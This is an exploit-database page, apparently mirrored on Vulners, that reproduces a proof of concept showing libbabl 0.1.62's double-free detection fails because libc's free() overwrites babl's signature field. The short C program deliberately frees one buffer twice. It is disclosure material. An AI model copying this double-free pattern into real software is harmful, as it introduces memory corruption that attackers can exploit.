Lucene search
+L

libbabl 0.1.62 - Broken Double Free Detection (PoC)

🗓️ 15 Dec 2020 00:00:00Reported by Carter YagemannType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 276 Views

libbabl 0.1.62 - Broken Double Free Detection (PoC). Buffer allocations and frees not properly tracked, leading to double free exploit

Related
Code
ReporterTitlePublishedViews
Family
attackerkb
attackerkb
CVE-2020-37239
16 May 202615:25
–attackerkb
circl
Circl
CVE-2020-37239
16 May 202619:12
–circl
cnnvd
CNNVD
Babl resource management error vulnerability
16 May 202600:00
–cnnvd
cve
CVE
CVE-2020-37239
16 May 202615:25
–cve
cvelist
Cvelist
CVE-2020-37239 libbabl 0.1.62 Broken Double Free Detection Memory Safety
16 May 202615:25
–cvelist
euvd
EUVD
EUVD-2020-31239
16 May 202615:25
–euvd
nvd
NVD
CVE-2020-37239
16 May 202616:16
–nvd
osv_ubuntu
osv_ubuntu
UBUNTU-CVE-2020-37239
16 May 202616:16
–osv_ubuntu
ptsecurity
Positive Technologies
PT-2026-41439
16 May 202600:00
–ptsecurity
rapid7
Rapid7 Vulnerability Database (full)
CVE-2020-37239: Double Free
16 May 202600:00
–rapid7
Rows per page
# Exploit Title: libbabl 0.1.62 - Broken Double Free Detection (PoC)
# Date: December 14, 2020
# Exploit Author: Carter Yagemann
# Vendor Homepage: https://www.gegl.org
# Software Link: https://www.gegl.org/babl/
# Version: libbabl 0.1.62 and newer
# Tested on: Debian Buster (Linux 4.19.0-9-amd64)
# Compile: gcc -Ibabl-0.1 -lbabl-0.1 babl-0.1.62_babl_free.c

/*
 * Babl has an interesting way of managing buffers allocated and freed using babl_malloc()
 * and babl_free(). This is the structure of its allocations (taken from babl-memory.c):
 *
 * typedef struct
 * {
 *   char  *signature;
 *   size_t size;
 *   int  (*destructor)(void *ptr);
 * } BablAllocInfo;
 *
 *
 * signature is used to track whether a chunk was allocated by babl, and if so, whether
 * it is currently allocated or freed. This is done by either pointing it to the global
 * string "babl-memory" or "So long and thanks for all the fish." (babl-memory.c:44).
 *
 * Using this signature, babl can detect bad behavior's like double free (babl-memory.c:173):
 *
 * void
 * babl_free (void *ptr,
 *            ...)
 * {
 *   ...
 *       if (freed == BAI (ptr)->signature)
 *         fprintf (stderr, "\nbabl:double free detected\n");
 *
 *
 * Or so the developers think. As it turns out, because babl internally uses libc's malloc()
 * and free(), which has its own data that it stores within freed chunks, most systems will
 * overwrite babl's signature variable upon freeing, breaking the double free detection.
 * The simple PoC below demonstrates this:
 */

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

#include <babl/babl-memory.h>

int main(int argc, char **argv) {
    void *buf = babl_malloc(42);
    babl_free(buf);
    // BUG: reports an "unknown" pointer warning when the following is clea=
rly a double free
    babl_free(buf);

    return 0;
}

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

23 Nov 2026 00:00Current
5.3Medium risk
Vulners AI Score5.3
CVSS 49.3
CVSS 3.19.8
EPSS0.01658
SSVC
276